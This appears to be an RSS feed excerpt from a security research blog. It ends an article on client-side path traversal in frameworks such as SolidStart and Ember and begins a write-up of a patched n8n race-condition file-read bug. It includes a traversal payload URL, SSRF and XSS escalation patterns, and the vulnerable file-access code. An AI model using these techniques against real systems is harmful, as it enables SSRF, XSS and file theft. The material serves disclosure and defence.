      <td>Ember Data adapter <code class="language-plaintext highlighter-rouge">urlForFindRecord(id)</code></td>
      <td>YES (id from decoded params)</td>
      <td>Internal <code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High, indirect CSPT</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">{{{ }}}</code> / <code class="language-plaintext highlighter-rouge">htmlSafe()</code> with API response</td>
      <td>N/A</td>
      <td><code class="language-plaintext highlighter-rouge">insertAdjacentHTML</code></td>
      <td>Critical, XSS</td>
    </tr>
  </tbody>
</table>

<p>The only safe source in Ember is reading the URL directly from <code class="language-plaintext highlighter-rouge">window.location.pathname</code> or <code class="language-plaintext highlighter-rouge">window.location.href</code>, which preserves <code class="language-plaintext highlighter-rouge">%2F</code> encoding. Everything that flows through route-recognizer’s <code class="language-plaintext highlighter-rouge">findHandler()</code> for dynamic segments is fully decoded.</p>

<hr />

<h4 id="solidstart-2">SolidStart</h4>

<p>The primary client-side sink is <code class="language-plaintext highlighter-rouge">fetch()</code> inside <code class="language-plaintext highlighter-rouge">createResource</code> or <code class="language-plaintext highlighter-rouge">createAsync</code>, which are Solid’s reactive data-fetching primitives. When the tracked signal (params) changes via client-side navigation, the fetcher re-executes immediately with no page reload:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">[</span><span class="nx">user</span><span class="p">]</span> <span class="o">=</span> <span class="nx">createResource</span><span class="p">(</span>
  <span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">params</span><span class="p">.</span><span class="nx">userId</span><span class="p">,</span>
  <span class="k">async</span> <span class="p">(</span><span class="nx">userId</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
  <span class="p">},</span>
<span class="p">);</span>
</code></pre></div></div>

<p>For path params, this is safe. <code class="language-plaintext highlighter-rouge">params.userId</code> is still encoded, so the fetch URL contains encoded characters that the server receives as-is.</p>

<p>For search params, this is not safe:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">[</span><span class="nx">searchParams</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useSearchParams</span><span class="p">();</span>
<span class="kd">const</span> <span class="p">[</span><span class="nx">stats</span><span class="p">]</span> <span class="o">=</span> <span class="nx">createResource</span><span class="p">(</span>
  <span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">searchParams</span><span class="p">.</span><span class="nx">source</span><span class="p">,</span>
  <span class="k">async</span> <span class="p">(</span><span class="nx">source</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/stats?source=</span><span class="p">${</span><span class="nx">source</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
  <span class="p">},</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?source=../../uploads/malicious</code> and the fetch fires with the decoded traversal in the query string.</p>

<p>SolidStart’s server functions add a second sink. The <code class="language-plaintext highlighter-rouge">query()</code> API with <code class="language-plaintext highlighter-rouge">"use server"</code> serializes arguments via seroval and sends them as a POST body to <code class="language-plaintext highlighter-rouge">/_server</code>. The server deserializes the exact string the client sent. No re-encoding, no sanitization at the transport boundary:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">getData</span> <span class="o">=</span> <span class="nx">query</span><span class="p">(</span><span class="k">async</span> <span class="p">(</span><span class="nx">dataId</span><span class="p">:</span> <span class="kr">string</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="dl">"</span><span class="s2">use server</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`http://internal-service.local/data/</span><span class="p">${</span><span class="nx">dataId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
<span class="p">},</span> <span class="dl">"</span><span class="s2">getData</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Client call:</span>
<span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">createAsync</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="nx">getData</span><span class="p">(</span><span class="nx">params</span><span class="p">.</span><span class="nx">dataId</span><span class="p">));</span>
</code></pre></div></div>

<p>If <code class="language-plaintext highlighter-rouge">params.dataId</code> came from a search param (decoded) or a catch-all route with real slashes, the traversal string passes through the JSON RPC boundary unchanged. <code class="language-plaintext highlighter-rouge">"../../admin"</code> on the client becomes <code class="language-plaintext highlighter-rouge">"../../admin"</code> on the server, which then interpolates it into an internal fetch URL. This is SSRF through a server function.</p>

<p>The XSS escalation uses Solid’s native <code class="language-plaintext highlighter-rouge">innerHTML</code> prop. Unlike React’s <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code> (which is verbose by design to discourage use), Solid treats <code class="language-plaintext highlighter-rouge">innerHTML</code> as a first-class JSX attribute:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">div</span> <span class="na">innerHTML</span><span class="p">=</span><span class="si">{</span><span class="nx">stats</span><span class="p">()</span><span class="si">}</span> <span class="p">/&gt;</span>
</code></pre></div></div>

<p>This compiles directly to <code class="language-plaintext highlighter-rouge">element.innerHTML = value</code>. Combined with CSPT via search params, if the attacker can redirect a fetch to an endpoint returning HTML, the response gets rendered into the DOM.</p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Context</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> (<code class="language-plaintext highlighter-rouge">:param</code>)</td>
      <td>NO, raw from URL</td>
      <td>Client-side fetch</td>
      <td>Low, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> (<code class="language-plaintext highlighter-rouge">[...path]</code> catch-all)</td>
      <td>NO, but real <code class="language-plaintext highlighter-rouge">/</code> from path</td>
      <td>Client-side fetch</td>
      <td>Medium, real slashes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">useSearchParams()</code></td>
      <td>YES, <code class="language-plaintext highlighter-rouge">URLSearchParams</code> auto-decodes</td>
      <td>Client-side fetch</td>
      <td>High, primary CSPT vector</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">useLocation().pathname</code></td>
      <td>NO, raw from browser</td>
      <td>Client-side fetch</td>
      <td>Low, stays encoded</td>
    </tr>
    <tr>
      <td>Server function args via <code class="language-plaintext highlighter-rouge">query()</code></td>
      <td>Passthrough (exact client string)</td>
      <td>Server-side fetch</td>
      <td>High, SSRF if input decoded</td>
    </tr>
    <tr>
      <td>API route <code class="language-plaintext highlighter-rouge">event.params</code></td>
      <td>NO, raw from radix3</td>
      <td>Server-side fetch</td>
      <td>Low, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">innerHTML</code> with API response</td>
      <td>N/A</td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = value</code></td>
      <td>Critical, XSS</td>
    </tr>
  </tbody>
</table>

<p>The safe sources in SolidStart are <code class="language-plaintext highlighter-rouge">useParams()</code> for single-segment dynamic params and <code class="language-plaintext highlighter-rouge">useLocation().pathname</code>, both of which preserve percent-encoding. The dangerous sources are <code class="language-plaintext highlighter-rouge">useSearchParams()</code> (auto-decoded by the browser API) and any value that passes through server functions from an already-decoded input.</p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Client-side paths are a rich attack surface. Each framework parses dynamic paths and query parameters differently. There are dangerous code patterns in each framework. If a path traversal payload is be passed to a client-side fetch request, it leads to CSPT. If a path-traversal payload is passed to a Server-side fetch request, it can lead to secondary context path traversal.</p>

<h3 id="path-params-does-2f-decode-to-">Path Params: Does <code class="language-plaintext highlighter-rouge">%2F</code> Decode to <code class="language-plaintext highlighter-rouge">/</code>?</h3>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Source</th>
      <th><code class="language-plaintext highlighter-rouge">%2F</code> → <code class="language-plaintext highlighter-rouge">/</code>?</th>
      <th><code class="language-plaintext highlighter-rouge">%2E%2E</code> → <code class="language-plaintext highlighter-rouge">..</code>?</th>
      <th>Double-Encode (<code class="language-plaintext highlighter-rouge">%252F</code>)?</th>
      <th>Decode Function</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>React Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>YES (decode + replace)</td>
      <td><code class="language-plaintext highlighter-rouge">decodeURIComponent</code> + <code class="language-plaintext highlighter-rouge">.replace(/%2F/g, "/")</code></td>
    </tr>
    <tr>
      <td><strong>Next.js</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> / page <code class="language-plaintext highlighter-rouge">await params</code></td>
      <td>NO (re-encoded)</td>
      <td>YES</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">getParamValue()</code> re-encodes</td>
    </tr>
    <tr>
      <td><strong>Next.js</strong></td>
      <td>Route handler <code class="language-plaintext highlighter-rouge">await params</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">getRouteMatcher()</code> → <code class="language-plaintext highlighter-rouge">decode</code></td>
    </tr>
    <tr>
      <td><strong>Vue Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">route.params.*</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">decodeURIComponent</code> via <code class="language-plaintext highlighter-rouge">decodeParams()</code></td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (client)</td>
      <td><code class="language-plaintext highlighter-rouge">useRoute().params.*</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>NO</td>
      <td>Inherits Vue Router <code class="language-plaintext highlighter-rouge">decodeParams()</code></td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (server)</td>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id')</code></td>
      <td>NO</td>
      <td>NO</td>
      <td>NO</td>
      <td>Raw from radix3 (no decode by default)</td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (server)</td>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id', { decode: true })</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
    </tr>
    <tr>
      <td><strong>Angular</strong></td>
      <td><code class="language-plaintext highlighter-rouge">paramMap.get()</code></td>
      <td>YES</td>
      <td>YES</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">decodeURIComponent</code> via <code class="language-plaintext highlighter-rouge">decode()</code></td>
    </tr>
    <tr>
      <td><strong>SvelteKit</strong></td>
      <td><code class="language-plaintext highlighter-rouge">params.*</code> in load functions</td>
      <td>YES</td>
      <td>YES</td>
      <td>NO (<code class="language-plaintext highlighter-rouge">%25</code>-split blocks)</td>
      <td><code class="language-plaintext highlighter-rouge">decode_pathname()</code> + <code class="language-plaintext highlighter-rouge">decode_params()</code></td>
    </tr>
    <tr>
      <td><strong>Ember</strong> (<code class="language-plaintext highlighter-rouge">:param</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">params.*</code> in model hook</td>
      <td>YES</td>
      <td>YES</td>
      <td>NO (<code class="language-plaintext highlighter-rouge">normalizePath</code> re-encodes %)</td>
      <td><code class="language-plaintext highlighter-rouge">normalizePath()</code> + <code class="language-plaintext highlighter-rouge">findHandler()</code> → <code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
    </tr>
    <tr>
      <td><strong>Ember</strong> (<code class="language-plaintext highlighter-rouge">*wildcard</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">params.*</code> in model hook</td>
      <td>NO (star skips final decode)</td>
      <td>Partial</td>
      <td>NO</td>
      <td><code class="language-plaintext highlighter-rouge">normalizePath()</code> only (no final decode)</td>
    </tr>
    <tr>
      <td><strong>SolidStart</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code></td>
      <td>NO</td>
      <td>NO</td>
      <td>NO</td>
      <td>None (raw from URL)</td>
    </tr>
  </tbody>
</table>

<h3 id="query-params-decoded-everywhere">Query Params: Decoded Everywhere</h3>

<p>Every framework decodes query parameters. There are no exceptions.</p>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>React Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useSearchParams()</code></td>
      <td>YES</td>
      <td>Standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code></td>
    </tr>
    <tr>
      <td><strong>Next.js</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useSearchParams()</code> / <code class="language-plaintext highlighter-rouge">searchParams</code></td>
      <td>YES</td>
      <td>Standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code></td>
    </tr>
    <tr>
      <td><strong>Vue Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">route.query.*</code></td>
      <td>YES</td>
      <td>Vue’s <code class="language-plaintext highlighter-rouge">parseQuery()</code>, <code class="language-plaintext highlighter-rouge">+</code> stays literal</td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (client)</td>
      <td><code class="language-plaintext highlighter-rouge">useRoute().query.*</code></td>
      <td>YES</td>
      <td>Inherits Vue Router <code class="language-plaintext highlighter-rouge">parseQuery()</code></td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (server)</td>
      <td><code class="language-plaintext highlighter-rouge">getQuery(event)</code></td>
      <td>YES</td>
      <td><code class="language-plaintext highlighter-rouge">ufo</code> library decodes</td>
    </tr>
    <tr>
      <td><strong>Angular</strong></td>
      <td><code class="language-plaintext highlighter-rouge">queryParamMap.get()</code></td>
      <td>YES</td>
      <td><code class="language-plaintext highlighter-rouge">decodeQuery()</code> → <code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
    </tr>
    <tr>
      <td><strong>SvelteKit</strong></td>
      <td><code class="language-plaintext highlighter-rouge">url.searchParams</code> / <code class="language-plaintext highlighter-rouge">$page.url.searchParams</code></td>
      <td>YES</td>
      <td>Standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code></td>
    </tr>
    <tr>
      <td><strong>Ember</strong></td>
      <td>Query params in model hook</td>
      <td>YES</td>
      <td>Browser-decoded</td>
    </tr>
    <tr>
      <td><strong>SolidStart</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useSearchParams()</code></td>
      <td>YES</td>
      <td>Standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code></td>
    </tr>
  </tbody>
</table>

<h3 id="xss-sinks-the-escalation-function">XSS Sinks: The Escalation Function</h3>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Dangerous Render</th>
      <th>Syntax</th>
      <th>Compiles To</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>React</strong></td>
      <td><code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;div dangerouslySetInnerHTML={{__html: val}} /&gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code></td>
    </tr>
    <tr>
      <td><strong>Next.js</strong></td>
      <td><code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code></td>
      <td>Same as React</td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code></td>
    </tr>
    <tr>
      <td><strong>Vue / Nuxt</strong></td>
      <td><code class="language-plaintext highlighter-rouge">v-html</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;div v-html="val" /&gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code></td>
    </tr>
    <tr>
      <td><strong>Angular</strong></td>
      <td><code class="language-plaintext highlighter-rouge">[innerHTML]</code> + <code class="language-plaintext highlighter-rouge">bypassSecurityTrustHtml()</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;div [innerHTML]="val"&gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code> (bypasses sanitizer)</td>
    </tr>
    <tr>
      <td><strong>SvelteKit</strong></td>
      <td><code class="language-plaintext highlighter-rouge">{@html}</code></td>
      <td><code class="language-plaintext highlighter-rouge">{@html val}</code></td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code></td>
    </tr>
    <tr>
      <td><strong>Ember</strong></td>
      <td>Triple curlies / <code class="language-plaintext highlighter-rouge">htmlSafe()</code></td>
      <td><code class="language-plaintext highlighter-rouge">{{{val}}}</code></td>
      <td><code class="language-plaintext highlighter-rouge">insertAdjacentHTML('beforeend', val)</code></td>
    </tr>
    <tr>
      <td><strong>SolidStart</strong></td>
      <td><code class="language-plaintext highlighter-rouge">innerHTML</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;div innerHTML={val} /&gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">element.innerHTML = val</code></td>
    </tr>
  </tbody>
</table>

<h3 id="safe-sources-what-wont-betray-you">Safe Sources: What Won’t Betray You</h3>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Safe Source</th>
      <th>Why</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>React Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useLocation().pathname</code></td>
      <td>Preserves <code class="language-plaintext highlighter-rouge">%2F</code> encoding</td>
    </tr>
    <tr>
      <td><strong>Next.js</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> / page <code class="language-plaintext highlighter-rouge">await params</code></td>
      <td><code class="language-plaintext highlighter-rouge">getParamValue()</code> re-encodes <code class="language-plaintext highlighter-rouge">%2F</code></td>
    </tr>
    <tr>
      <td><strong>Vue Router</strong></td>
      <td><code class="language-plaintext highlighter-rouge">route.path</code>, <code class="language-plaintext highlighter-rouge">route.fullPath</code></td>
      <td>Preserves <code class="language-plaintext highlighter-rouge">%2F</code> encoding</td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (client)</td>
      <td><code class="language-plaintext highlighter-rouge">route.path</code>, <code class="language-plaintext highlighter-rouge">route.fullPath</code></td>
      <td>Inherits Vue Router encoding preservation</td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong> (server)</td>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam()</code> without <code class="language-plaintext highlighter-rouge">{ decode: true }</code></td>
      <td>Raw from radix3, no decode</td>
    </tr>
    <tr>
      <td><strong>Angular</strong></td>
      <td><code class="language-plaintext highlighter-rouge">router.url</code></td>
      <td>Preserves <code class="language-plaintext highlighter-rouge">%2F</code> encoding</td>
    </tr>
    <tr>
      <td><strong>SvelteKit</strong></td>
      <td>Param matchers (<code class="language-plaintext highlighter-rouge">[id=id]</code>)</td>
      <td>Rejects non-matching values at route level</td>
    </tr>
    <tr>
      <td><strong>Ember</strong></td>
      <td><code class="language-plaintext highlighter-rouge">window.location.pathname</code></td>
      <td>Raw browser value, bypasses route-recognizer</td>
    </tr>
    <tr>
      <td><strong>SolidStart</strong></td>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> (single segment)</td>
      <td>Router never calls <code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
    </tr>
  </tbody>
</table>

<h3 id="server-side--secondary-traversal-sinks">Server-Side / Secondary Traversal Sinks</h3>

<table>
  <thead>
    <tr>
      <th>Framework</th>
      <th>Server Sink</th>
      <th>Params Decoded?</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Next.js</strong></td>
      <td>Route handler <code class="language-plaintext highlighter-rouge">await params</code> → <code class="language-plaintext highlighter-rouge">fetch()</code></td>
      <td>YES (auto-decoded)</td>
      <td>SSRF to internal services</td>
    </tr>
    <tr>
      <td><strong>Nuxt</strong></td>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id', { decode: true })</code> → <code class="language-plaintext highlighter-rouge">$fetch()</code></td>
      <td>YES (opt-in)</td>
      <td>SSRF to internal services</td>
    </tr>
    <tr>
      <td><strong>SvelteKit</strong></td>
      <td><code class="language-plaintext highlighter-rouge">+page.server.ts</code> / <code class="language-plaintext highlighter-rouge">+server.ts</code> params → <code class="language-plaintext highlighter-rouge">fetch()</code></td>
      <td>YES (<code class="language-plaintext highlighter-rouge">decode_params()</code>)</td>
      <td>SSRF, bypasses <code class="language-plaintext highlighter-rouge">hooks.server.ts</code></td>
    </tr>
    <tr>
      <td><strong>SolidStart</strong></td>
      <td><code class="language-plaintext highlighter-rouge">query("use server")</code> args → <code class="language-plaintext highlighter-rouge">fetch()</code></td>
      <td>Passthrough (exact client string)</td>
      <td>SSRF if input already decoded</td>
    </tr>
  </tbody>
</table>
]]></content:encoded>
    </item>
    
    <item>
      <title>Authenticated Arbitrary File Read via Race Condition leads to 0-Click Account Take Over on n8n</title>
      <link>https://lab.ctbb.show/writeups/toctou-leads-to-ato-on-n8n</link>
      <guid isPermaLink="true">https://lab.ctbb.show/writeups/toctou-leads-to-ato-on-n8n</guid>
      <pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate>
      <author>Théo Lelasseux</author>
      <description>TOCTOU race condition leads to full ATO on popular open source automation platform n8n</description>
      <content:encoded><![CDATA[<h1 id="overview">Overview</h1>
<p>This is the write up of a n8n vulnerability I found, patched January 14 2026. Here is the github security advisory: <a href="https://github.com/n8n-io/n8n/security/advisories/GHSA-gfvg-qv54-r4pc">https://github.com/n8n-io/n8n/security/advisories/GHSA-gfvg-qv54-r4pc</a>.</p>

<h2 id="what-is-n8n">What is n8n?</h2>
<p>n8n is an open-source low-code orchestration tool which has gained a lot of popularity during recent years. Its use cases are wide, going from automating social media posts to acting as a SOAR (Security, Orchestration, Automation and Response). In company environment, it can be higly integrated with other tools, making it a critical target that can lead to whole infrastructure compromise.</p>

<p>n8n can be self-hosted or used via a cloud instance. This vulnerability concerns both of them.</p>

<p>I used n8n a bit for personal projects before checking their <a href="https://n8n.notion.site/n8n-vulnerability-disclosure-program">Vulnerability Disclosure Program</a>.</p>

<h2 id="how-it-works">How it works</h2>
<p>“Workflows” are basically programs that you can run on a schedule, manually, by calling a webhook or via other workflows. They are made of “Nodes” which make some action like manipulating data, making http requests or sending slack messages. There are a lot of different nodes in order to integrate with any tools, mainly via API. Workflows are restricted to the personal project of the user but can be shared.</p>

<p>Credentials are managed the same way, moreover they are encrypted outside of workflows. To use them, you reference them and they are decrypted at runtime.</p>

<p>In order to manage workflows and credentials, authentification is needed.</p>

<h1 id="race-condition-finding">Race condition finding</h1>
<h2 id="climbing-from-the-fix-to-the-vulnerability">Climbing from the fix to the vulnerability</h2>
<p>During my first assesment of n8n security, I started by reading disclosed Github Securiy Advisories (there were only 8 at this time), with one being <a href="https://github.com/n8n-io/n8n/security/advisories/GHSA-ggjm-f3g4-rwmm">Symlink traversal vulnerability in “Read/Write File” node allows access to restricted files</a>, credited to @Mahmoud0x00 in August 2025.</p>

<p><img src="/writeups/articles/WriteupNo0005/original_report.png" alt="Original report" /></p>

<p>Basicaly, this vulnerability uses symlink to bypass restrictions on the “Read/Write file” node, which normaly permits reading or writing files only to certain locations on the underlying filesystem. Interestingly enough, it only affects self-hosted instances.</p>

<p>I went ahead and checked how the fix was implemented. The summary of the <a href="https://github.com/n8n-io/n8n/pull/17735">pull request</a> referenced is pretty self-explanatory:</p>

<p><code class="language-plaintext highlighter-rouge">Use realpath function instead of resolve to resolve the real path of a file, in a case it is a symlink to a different location, which might be blocked</code></p>

<p>Let’s dive deeper and check the concerned code in <a href="https://github.com/n8n-io/n8n/blob/d0a488a9ae1935ddd326290af915c17b0c8fbdb0/packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts">packages/core/src/execution-engine/node-execution-context/utils/file-system-helper-functions.ts</a></p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">createReadStream</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">node:fs</span><span class="dl">'</span><span class="p">;</span>
<span class="k">import</span> <span class="p">{</span>
	<span class="nx">access</span> <span class="k">as</span> <span class="nx">fsAccess</span><span class="p">,</span>
	<span class="nx">writeFile</span> <span class="k">as</span> <span class="nx">fsWriteFile</span><span class="p">,</span>
	<span class="nx">realpath</span> <span class="k">as</span> <span class="nx">fsRealpath</span><span class="p">,</span>
<span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">node:fs/promises</span><span class="dl">'</span><span class="p">;</span>
<span class="p">[...]</span>

<span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nx">isFilePathBlocked</span><span class="p">(</span><span class="nx">filePath</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="nb">Promise</span><span class="o">&lt;</span><span class="nx">boolean</span><span class="o">&gt;</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="nx">allowedPaths</span> <span class="o">=</span> <span class="nx">getAllowedPaths</span><span class="p">();</span>
<span class="o">-</span>   <span class="kd">const</span> <span class="nx">resolvedFilePath</span> <span class="o">=</span> <span class="nx">resolve</span><span class="p">(</span><span class="nx">filePath</span><span class="p">);</span>
<span class="o">+</span>	<span class="kd">const</span> <span class="nx">resolvedFilePath</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fsRealpath</span><span class="p">(</span><span class="nx">filePath</span><span class="p">);</span>
	<span class="kd">const</span> <span class="nx">blockFileAccessToN8nFiles</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">[</span><span class="nx">BLOCK_FILE_ACCESS_TO_N8N_FILES</span><span class="p">]</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">false</span><span class="dl">'</span><span class="p">;</span>

	<span class="kd">const</span> <span class="nx">restrictedPaths</span> <span class="o">=</span> <span class="nx">blockFileAccessToN8nFiles</span> <span class="p">?</span> <span class="nx">getN8nRestrictedPaths</span><span class="p">()</span> <span class="p">:</span> <span class="p">[];</span>
	<span class="k">if</span> <span class="p">(</span>
		<span class="nx">restrictedPaths</span><span class="p">.</span><span class="nx">some</span><span class="p">((</span><span class="nx">restrictedPath</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">isContainedWithin</span><span class="p">(</span><span class="nx">restrictedPath</span><span class="p">,</span> <span class="nx">resolvedFilePath</span><span class="p">))</span>
	<span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="nx">allowedPaths</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="o">!</span><span class="nx">allowedPaths</span><span class="p">.</span><span class="nx">some</span><span class="p">((</span><span class="nx">allowedPath</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">isContainedWithin</span><span class="p">(</span><span class="nx">allowedPath</span><span class="p">,</span> <span class="nx">resolvedFilePath</span><span class="p">));</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">export</span> <span class="kd">const</span> <span class="nx">getFileSystemHelperFunctions</span> <span class="o">=</span> <span class="p">(</span><span class="nx">node</span><span class="p">:</span> <span class="nx">INode</span><span class="p">):</span> <span class="nx">FileSystemHelperFunctions</span> <span class="o">=&gt;</span> <span class="p">({</span>
	<span class="k">async</span> <span class="nx">createReadStream</span><span class="p">(</span><span class="nx">filePath</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">try</span> <span class="p">{</span>
			<span class="k">await</span> <span class="nx">fsAccess</span><span class="p">(</span><span class="nx">filePath</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
			<span class="p">[...]</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="k">await</span> <span class="nx">isFilePathBlocked</span><span class="p">(</span><span class="nx">filePath</span> <span class="k">as</span> <span class="kr">string</span><span class="p">))</span> <span class="p">{</span>
			<span class="p">[...]</span>
		<span class="p">}</span>
		<span class="k">return</span> <span class="nx">createReadStream</span><span class="p">(</span><span class="nx">filePath</span><span class="p">);</span>
	<span class="p">},</span>

    <span class="p">[...]</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The function “createReadStream” is called by the Read/Write file node with a filePath parameter.</p>
<ul>
  <li>First, this path is checked against fsAccess which errors out if the file doesn’t exist.</li>
  <li>Then, the isFilePathBlocked function is called with the filePath. The filePath is resolved and checked against forbidden directories.</li>
  <li>If it returns False, fs.createReadStream is called with the given filePath.</li>
</ul>

